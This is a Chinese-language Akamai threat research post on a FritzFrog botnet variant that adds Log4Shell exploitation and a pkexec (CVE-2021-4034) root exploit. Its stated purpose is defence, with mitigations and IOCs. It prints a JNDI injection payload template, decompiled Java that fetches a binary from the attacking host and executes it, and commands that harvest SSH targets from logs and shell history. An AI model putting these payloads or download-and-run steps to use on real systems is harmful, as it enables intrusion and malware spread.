需要云计算吗? 即刻开始体验

Frog4Shell——FritzFrog 僵尸网络再添一日漏洞攻击手段

Ori David

寫於

Ori David

February 01, 2024

Ori David

寫於

Ori David

Ori David is a Security Researcher at Akamai. His research is focused on offensive security, malware analysis, and threat hunting. 

Akamai 安全情报组发现滥用 2021 年 Log4Shell 漏洞的 FritzFrog 僵尸网络新变种。

编辑和评论补充:Tricia Howard

执行摘要

  • Akamai 安全情报组 (SIG) 发现滥用 2021 年 Log4Shell 漏洞的 FritzFrog 僵尸网络新变种。

  • 几年来,我们观察到 20,000 多次 FritzFrog 攻击及 1,500 多名受害者。

  • 该恶意软件会对强度较低的 SSH 凭据进行暴力破解,从而感染面向互联网的服务器。目前较新的变种会读取受感染主机上的多个系统文件,以检测存在漏洞的可能性较高的潜在攻击目标。

  • 它通过暴力破解的方式利用漏洞,尝试针对尽可能多存在漏洞的 Java 应用程序发动攻击。

  • 该恶意软件现在还包含一个模块,专门利用 polkit Linux 组件中的特权提升漏洞 CVE-2021-4034。通过此模块,该恶意软件可使用 root 身份在存在漏洞的服务器上运行。

  • 这篇博文中包含 入侵指标 (IOC) 和额外的抵御措施 ,以帮助防范 FritzFrog 感染。

FritzFrog 背景介绍

Akamai 通过全球传感器网络监控威胁,包括我们先前发现的威胁。其中就包括 FritzFrog 僵尸网络 (最初发现于 2020 年),这是一种基于 Golang 的复杂点对点僵尸网络,其编译方式支持基于 AMD 和 ARM 的机器。该恶意软件处于积极维护状态, 几年来一直在发展变化 ,不断有新功能添加和现有功能改进。

FritzFrog 过去一直使用 SSH 暴力破解攻击手段,数年来已借此成功入侵了数千个目标。每个被入侵的主机都会成为 FritzFrog 网络的一部分,与其他受感染的主机相互通信,以共享信息、攻击负载和配置。

由于得到了持续不断的维护,该恶意软件包含许多值得关注的功能,包括本博文中要讨论的一些新增功能,例如 增加 Log4Shell 漏洞利用手段。例如,它会尝试避免接触磁盘,以限制被检测到的可能性,支持通过 TOR 通信, 甚至拥有一个“防病毒”模块,可以阻止存在竞争关系的恶意软件

将 Log4Shell 用作感染媒介

FritzFrog 以往仅依靠 SSH 暴力破解这一种感染媒介,但该恶意软件近期的版本添加了一种新的感染媒介: Log4Shell 漏洞利用,结合“FritzFrog”中的“Frog”一词,我们将这种感染媒介称为“Frog4Shell”。

Log4Shell 漏洞最初是在 2021 年 12 月确定的,当时引发了业界持续数月之久的漏洞修补浪潮。即便在 2 年后的今天,仍有许多面向互联网的应用程序存在这个漏洞。

存在漏洞且面向互联网的资产确实是大麻烦,但 FritzFrog 给另外一种类型的资产造成了风险,即内部主机。最初发现该漏洞时,优先修补的是面向互联网的应用程序,因为这类应用程序遭到入侵的风险较高。 相比之下,遭遇漏洞利用攻击的可能性较低的内部机器往往会被忽视,没能得到修补,这就给 FritzFrog 留下了可乘之机。

在该恶意程序的传播例行方法中,它会尝试将内部网络中的所有主机作为攻击目标。为此,它会调用 net__Interface_Addrs 标准 Go 函数,识别可连接到的子网,并将其中可能存在的每个地址作为攻击目标。通过图 1 可以看到,该恶意软件尝试连接到本地网络中的所有地址。

通过图 1 可以看到,该恶意软件尝试连接到本地网络中的所有地址。 图 1:FritzFrog 在本地网络中扫描攻击目标

这意味着即便那些“高曝光度”、面向互联网的应用程序已经过修补,只要 FritzFrog 成功入侵网络中的任意资产,就会给未经过修补的内部资产带来风险。

FritzFrog 通过 8080、8090、8888 和 9000 端口查询 HTTP 服务器,从而确定潜在的 Log4Shell 目标。为触发这一漏洞,攻击者需要强制存在漏洞的 log4j 应用程序将包含攻击负载(表 1)的数据记入日志:

  ${jndi:ldap://<attacker_address>/<payload>}

表 1:Log4Shell 攻击负载示例

此攻击负载会被存在漏洞的 log4j 库错误地解析,并强制 Java 应用程序连接到“attacker_address”中指定的 LDAP 服务器,从该服务器下载一个 Java 类,随后加以执行(图 2)。

此攻击负载会被存在漏洞的 log4j 库错误地解析,并强制 Java 应用程序连接到“attacker_address”中指定的 LDAP 服务器,从该服务器下载一个 Java 类,随后加以执行(图 2)。 图 2:常规 Log4Shell 漏洞利用攻击流

FritzFrog 通过 HTTP 标头注入攻击负载(图 3),通过这样的方式来尝试利用该漏洞。其实现方法颇为值得关注——FritzFrog 并非尝试精准地将一个特定 HTTP 标头作为目标,而是将几乎全部 HTTP 标头作为目标。

FritzFrog 通过 HTTP 标头注入攻击负载(图 3),通过这样的方式来尝试利用该漏洞。 图 3:各种 HTTP 标头中内嵌的 FritzFrog Log4Shell 漏洞利用攻击

FritzFrog 在无数个 HTTP 标头中发送 Log4Shell 攻击负载,希望其中至少有一个被应用程序记入日志。这种暴力破解式漏洞利用方法旨在形成一种通用的 Log4Shell 漏洞利用攻击,对广泛的应用程序产生影响。

在图 3 中,被注入的攻击负载使得应用程序连接回 FritzFrog 自己的 IP 地址——该恶意软件托管着自己的 LDAP 服务器,用于提供恶意 Java 类。在执行时,该 Java 类将通过 HTTP 连接到发动攻击的机器,下载托管在“robots.txt”名称下的恶意软件二进制文件(表 2)。

  String ff_host_http_server_address = ff_host_http_server_address.trim();
  payload_url = new URL("http://" + ff_host_http_server_address + "/" + 
  ff_username + "/robots.txt");
  payload_url_stream = payload_url.openStream();

表 2:反编译的 Log4Shell Java 攻击负载,其作用是下载 FritzFrog 二进制文件

“robots.txt”文件保存在“ifconfig”名称下。随后,这个 Java 类会执行 ifconfig 二进制文件并删除该文件(表 3)。

  FileOutputStream ff_payload_file = new FileOutputStream(paths[counter] + "ifconfig");
  ff_payload_file.write(var2.toByteArray());
  ff_payload_file.close();
  ff_payload_file_exec = new File(paths[counter] + "ifconfig");
  ff_payload_file_exec.setExecutable(true);
  Process ff_proc = Runtime.getRuntime().exec(paths[counter] + "ifconfig init " + var9 + ":22 " + ff_username + " exploit_log4shell");
  if (ff_proc.waitFor() == 0) {
    ff_payload_file_exec.delete();
    return;
}

表 3:反编译的 Log4Shell Java 攻击负载,其作用是执行 FritzFrog 二进制文件

图 4 展示了 FritzFrog 使用的 Log4Shell 漏洞利用攻击流。

图 4 展示了 FritzFrog 使用的 Log4Shell 漏洞利用攻击流。 图 4:FritzFrog Log4Shell 漏洞利用进程

SSH 目标发现方法

除了添加 Log4Shell 漏洞利用手段之外,FritzFrog 还提高了为其主要感染媒介识别目标的能力(SSH 暴力破解式攻击)。FritzFrog 现在依然以随机生成的 IP 地址为目标, 但还会枚举每个受害目标的多个系统日志,以尝试识别特定 SSH 目标。

授权日志

Linux auth.log 文件包含与机器之间的连接的信息,以及其他一些信息。FritzFrog 扫描这些日志并查找 IP 地址,从而将网络中的活跃客户端作为攻击目标。为访问数据,该恶意软件会执行以下命令:

cat /var/log/auth*

zcat /var/log/auth*

这些命令将输出所有明文和压缩日志文件的内容。

SSH 已知主机

主机连接到远程 SSH 服务器时,连接信息会自动保存到 ~/.ssh/known_hosts 文件中。FritzFrog 会提取这些主机的地址,并将其作为攻击目标。

这将为恶意软件提供活跃、可连接的 SSH 服务器列表。此外,这些服务器与遭遇入侵的服务器很可能由同一所有者管理,因此也有可能共享相同的低强度密码。

历史记录文件

在 Linux 系统上执行的所有命令都会保存在一个特殊的日志文件中,称为 历史记录文件。FritzFrog 将尝试执行以下命令,以识别先前的 ssh 和 scp 连接:

history | grep -E \"(scp|ssh)\"

随后,FritzFrog 会从这些命令中提取 IP 地址,并将其作为攻击目标。类似于 known_hosts 文件,这能提供活跃、可连接的 SSH 服务器列表。

特权提升

对于该恶意软件,我们观察到的另外一个变化是增加了特权提升功能。初始执行时,FritzFrog 会检查其进程的权限。如果执行用户不是 root,则调用“main_RunBlasty”函数(图 5)。

 如果执行用户不是 root,则调用“main_RunBlasty”函数(图 5)。 图 5:FritzFrog 确定该进程并未使用 root 身份运行,并执行“main_RunBlasty”函数

“RunBlasty”函数首先执行“which”命令——此实用程序支持在系统上定位其他命令的完整路径(图 6)。

“RunBlasty”函数首先执行“which”命令——此实用程序支持在系统上定位其他命令的完整路径(图 6)。 图 6:FritzFrog “which”命令执行

可以看到,该恶意软件尝试查找 pkexec 二进制文件的位置。(这有没有让您的脑海里响起与漏洞有关的警钟?)

该恶意软件随即提取其自己的可执行文件中内嵌的两个文件(图 7);这些文件以字符串形式存储,是经过 Gzip 压缩的 Base64 编码文件。提取出的文件分别是 blastypayload.so。

该恶意软件随即提取其自己的可执行文件中内嵌的两个文件(图 7);这些文件以字符串形式存储,是经过 Gzip 压缩的 Base64 编码文件。提取出的文件分别是 blasty 和 payload.so。 图 7:提取恶意软件二进制文件中内嵌的文件

在创建文件后,FritzFrog 执行 blasty ,这是一个使用 C 语言编写的 ELF。通过其代码可以看到,它相当简单——与环境变量执行一些交互,随后执行 pkexec (图 8)。

在创建文件后,FritzFrog 执行 blasty,这是一个使用 C 语言编写的 ELF。通过其代码可以看到,它相当简单——与环境变量执行一些交互,随后执行 pkexec(图 8)。 图 8:blasty 反汇编代码

搜索这些字符串即可 立即 找到 CVE-2021-4034的这段漏洞利用代码。位于 polkit Linux 组件 中的这个漏洞由 Qualys 于 2022 年披露,允许在运行 polkit 的任何 Linux 机器上实现特权提升。 大多数 Linux 发行版都默认安装此组件,因此许多未经修补的机器目前仍然容易受到该 CVE 的攻击。

该漏洞利用了 pkexec 是 SUID 程序这个事实;也就是说,即使由弱用户执行,它也能以 root 特权运行。该漏洞强制 pkexec 加载并执行受攻击者控制的库,从而导致攻击者以 root 用户身份执行代码。

Blasty 利用了这个漏洞,使 pkexec 加载并执行 payload.so。如图 9 所示,该库会将进程的 uid 和 gid 设置为 0,即 root,并执行 root_update (FritzFrog 的二进制文件)。

如图 9 所示,该库会将进程的 uid 和 gid 设置为 0,即 root,并执行 root_update(FritzFrog 的二进制文件)。 图 9:payload.so 以 root 身份执行 FritzFrog

另外一个值得关注的要点在于, blastypayload.so 均针对 AMD64 架构而编译,即便是在 ARM 上运行的 FritzFrog 变体也不例外。这就意味着在并非基于 AMD64 CPU 运行的机器上,无法发动该漏洞利用攻击。

防御规避

FritzFrog 继续利用各种策略保持隐蔽性并规避检测。具体来说,它会特别注意尽可能避免将文件存放到磁盘上。我们观察到,其开发人员使用了两种 Linux 功能来实现这一目标: /dev/shmmemfd_create

/dev/shm

第一种技术使用 /dev/shm 文件夹(其中的 shm 代表 shared memory,即共享内存),这个目录旨在实现系统上不同进程之间的高效通信(图 10)。虽然看起来与普通的文件系统文件夹一般无二,但 /dev/shm 直接映射到 RAM,在这个文件夹下创建的文件不会接触到磁盘。

FritzFrog 利用这个文件夹来实现无文件执行,将文件写入到 /dev/shm,并通过这个目录来执行文件。为了监控此活动,我们可以执行恶意软件,使用 inotifywait 实用程序来检查 /dev/shm中的文件操作。我们观察到,该恶意软件会向此目录写入多个文件,例如在图 8 中,该恶意软件将所有 pkexec 漏洞利用文件写入到 /dev/shm 之中,之后再加以执行。

第一种技术使用 /dev/shm 文件夹(其中的 shm 代表 shared memory,即共享内存),这个目录旨在实现系统上不同进程之间的高效通信(图 10)。 图 10:监控以 /dev/shm 目录为目标的 FritzFrog 文件访问事件

memfd_create

第二种技术使用 memfd_create 函数,手册页面中对此函数的描述如下:

memfd_create() 创建一个匿名文件,并返回指向该文件的文件描述符。该文件的行为方式类似于常规文件,因此可以对其执行修改、截断、内存映射等操作。但与普通文件的不同之处在于,它驻留在 RAM 中。

因此,与第一种技术类似,这能在不接触磁盘的情况下方便地创建文件。FritzFrog 在执行其挖矿程序攻击负载时使用了这种技术(图 11)——将攻击负载写入由 memfd_create 创建的匿名文件中并加以执行。

FritzFrog 在执行其挖矿程序攻击负载时使用了这种技术(图 11)——将攻击负载写入由 memfd_create 创建的匿名文件中并加以执行。 图 11:FritzFrog 使用 memfd_create 将挖矿程序攻击负载写入到一个匿名文件中

抵御措施

我们推荐以下两种抵御策略:使用网络分段,以及检测常见恶意软件策略、技术和程序。

  1. 网络分段可以 防止横向移动,从而限制 FritzFrog 的潜在影响。基于软件的分段或许是相对容易启动的解决方案,而且能产生持久的防御效果。

  2. 我们提供了一个可在 SSH 服务器上运行的 FritzFrog 检测脚本 ,它能查找以下指示 FritzFrog 攻击的迹象:

    a. 运行名为 nginx、ifconfig、php-fpm、apache2 或 libexec的进程,而且其可执行文件已不再存在于文件系统中(如下所示)

    b. 侦听端口 1234

结论

2023 年,攻击者的主要趋势是攻击策略转为漏洞利用, 这造成一日漏洞和零日 漏洞利用猖獗, 而且事实已经证明,这类攻击手段均在入侵企业的最有效方法之列。

FritzFrog 添加漏洞利用手段也表明了类似的攻击策略方向转变。本文中探讨的两项新增手段(即滥用 Log4Shell 漏洞的新增感染媒介和 pkexec 漏洞利用模块)正是这种转变的例证。我们相信,这一趋势将在后续的 FritzFrog 版本中得到延续,假以时日,这款恶意软件很有可能添加更多漏洞利用手段。

Akamai SIG 将继续监控这一威胁和其他类似的威胁,并公布我们的发现结果。若要了解 FritzFrog 动态和其他安全研究动态, 请关注我们的微信公众号

IOC

FritzFrog 二进制文件

AMD

f77ab04ee56f3cd4845d4a80c5817a7de4f0561d976d87563deab752363a765d

ARM

fb3371dd45585763f1436afb7d64c202864d89ee6cbb743efac9dbf1cefcc291

Log4Shell 攻击负载

52b11d3fa9206f51c601bd85cb480102fd938894b7274fac3d20915eb3af44f8

“Blasty” pkexec 漏洞利用

Blasty

85cb8ceda7d2a29bc7c6c96dd279c43559797a624fc15d44da53ca02379afe01

Payload.so

0b95071c657f23d4d8bfa39042ed8ad0a1c1bceb6b265c1237c12c4c0818c248



Ori David

寫於

Ori David

February 01, 2024

Ori David

寫於

Ori David

Ori David is a Security Researcher at Akamai. His research is focused on offensive security, malware analysis, and threat hunting.